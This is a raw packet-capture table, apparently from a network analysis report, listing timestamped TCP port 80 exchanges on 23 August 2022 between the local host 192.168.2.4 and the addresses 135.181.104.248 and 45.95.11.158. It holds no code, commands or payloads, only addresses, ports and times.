Aug 23, 2022 03:42:56.414675951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414684057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414699078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414717913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414747953 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414772987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414813995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414870024 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.415885925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.415919065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.415960073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416007042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416065931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416100025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416125059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416134119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416196108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416254997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416327000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416454077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416537046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416560888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.416565895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416574955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.416615009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.417159081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417186975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417218924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417241096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417260885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417280912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417304993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417304993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417330980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417419910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417447090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417460918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417489052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417510033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417531967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417534113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417557001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417572975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417699099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417722940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417741060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417752981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417761087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417764902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417788982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.417800903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417846918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.417994976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418013096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418032885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418056965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418072939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418096066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418119907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418159008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418160915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418196917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418214083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418236017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418252945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418287039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418288946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418323994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418342113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418366909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418391943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418400049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418423891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418466091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418498993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418505907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418560982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418572903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.418607950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.418997049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419028044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419039965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419050932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419059038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419084072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419470072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419514894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419554949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419591904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419703960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419743061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.419955015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.419981003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420027971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420064926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420089960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420104027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420142889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420309067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420329094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420368910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420550108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420576096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420594931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420614004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420629978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420649052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420667887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.420708895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.420830011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.420855999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.420876980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.420883894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.420898914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.420926094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.420939922 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.420967102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.420969963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421011925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421017885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421055079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421056032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421082020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421092033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421106100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421129942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421180010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421190023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421205044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421226978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421252966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421262980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421319962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421370983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421410084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421422958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421490908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421533108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421578884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421581984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421617985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421732903 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421773911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421813011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421823025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421835899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421837091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421858072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421879053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421884060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421900988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421921015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421925068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421962023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.421976089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.421999931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422034979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422049999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422100067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422149897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422271013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422297001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422297955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422312975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422333956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422374010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422399044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422426939 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422441959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422462940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422497034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422501087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422524929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422559023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422590017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422686100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422712088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422735929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422750950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422780991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422801971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422827005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422846079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422868013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422885895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422889948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.422904015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.422939062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.423002005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.423026085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.423049927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.423084021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.423140049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.423214912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.423368931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.423727036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.428034067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428072929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428102016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428131104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428163052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.428189993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.428229094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428262949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428283930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.428301096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.428319931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.431879997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.431901932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.431957006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.431973934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.431977034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.431996107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432022095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432025909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432043076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432071924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432073116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432090044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432141066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432508945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432538986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432562113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432579041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432589054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432604074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432615042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432636976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432661057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432739973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432756901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432780027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432810068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432852983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432889938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432914972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432926893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432931900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.432956934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.432986021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433630943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433656931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433682919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433698893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433705091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433722019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433743954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433747053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433765888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433770895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433788061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.433794975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433815956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.433834076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.435236931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435271978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435297012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435314894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435333014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.435375929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.435872078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435899973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435921907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.435924053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435940981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435960054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.435965061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435990095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.435991049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.436013937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.436028957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.436032057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.436064959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.436913967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.436940908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.436968088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.436985016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.437006950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.437033892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.438359976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438426971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438745975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438771963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438822031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438826084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438858032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438880920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438884020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438900948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438911915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438930988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438935041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438949108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438961029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.438971043 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.438994884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439002037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.439026117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.439050913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.439069986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.439074039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.439096928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.439100027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439126968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.439127922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439151049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439152956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439167023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439177990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439188957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439203024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439207077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439227104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439234972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439251900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439277887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.439287901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.439316988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.440187931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.440213919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.440238953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.440257072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.440264940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.440282106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.440324068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.448451042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.448482990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.448508024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.448606968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.448623896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449243069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449275970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449305058 CEST	49792	80	192.168.2.4	135.181.104.248
